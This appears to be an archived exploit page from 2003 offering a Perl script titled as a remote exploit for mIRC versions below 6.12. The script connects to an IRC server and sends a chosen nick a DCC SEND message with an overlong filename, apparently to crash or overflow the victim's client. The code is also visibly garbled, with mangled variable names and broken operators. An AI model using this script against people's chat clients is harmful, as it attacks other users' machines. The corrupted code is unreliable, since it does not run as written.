Remote Exploit For Mirc Versions Below 6.12

Remote Exploit For Mirc Versions Below 6.12
trang này đã được đọc lần
Submits the code: powwow
Submits the date: 2003-11-05
Code attribute: long-distance
CODE
#! /usr/bin/perl -w
use IO::Socket;
# get irc server to connect to, and nick to exploit.
print " Enter Serv: "; chomp ($serv= < STDIN >);
print " Enter Nick: "; chomp ($nick= < STDIN >);
#setup connection
$ocket = IO::Socketc::inet- > new (
PeerAddr= >" $serv ",
PeerPort= > '6667'
) || die " could not connect to $serv: $! ";
#$| = 1;
#$ocket- > autoflush ();
ne= "";
until ( ne =~ /Ident/) {
$oldline= ne;
ne = < $ocket >;
if ($oldline ne ne) { print ne; }
}
print $ocket " user ident irc name ircname\n "; #send ident/ircname info
ne= "";
until ( ne =~/PING/) {
$oldline= ne;
ne = < $ocket >;
if ($oldline ne ne) { print ne; }
}

ne =~ s/. *://;
print $ocket " PONG: ne\n ";
print $ocket " nick thssmnck\n ";
print $ocket " privmsg $nick: DCC SEND \ " a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \ " 1079095848 666 \n ";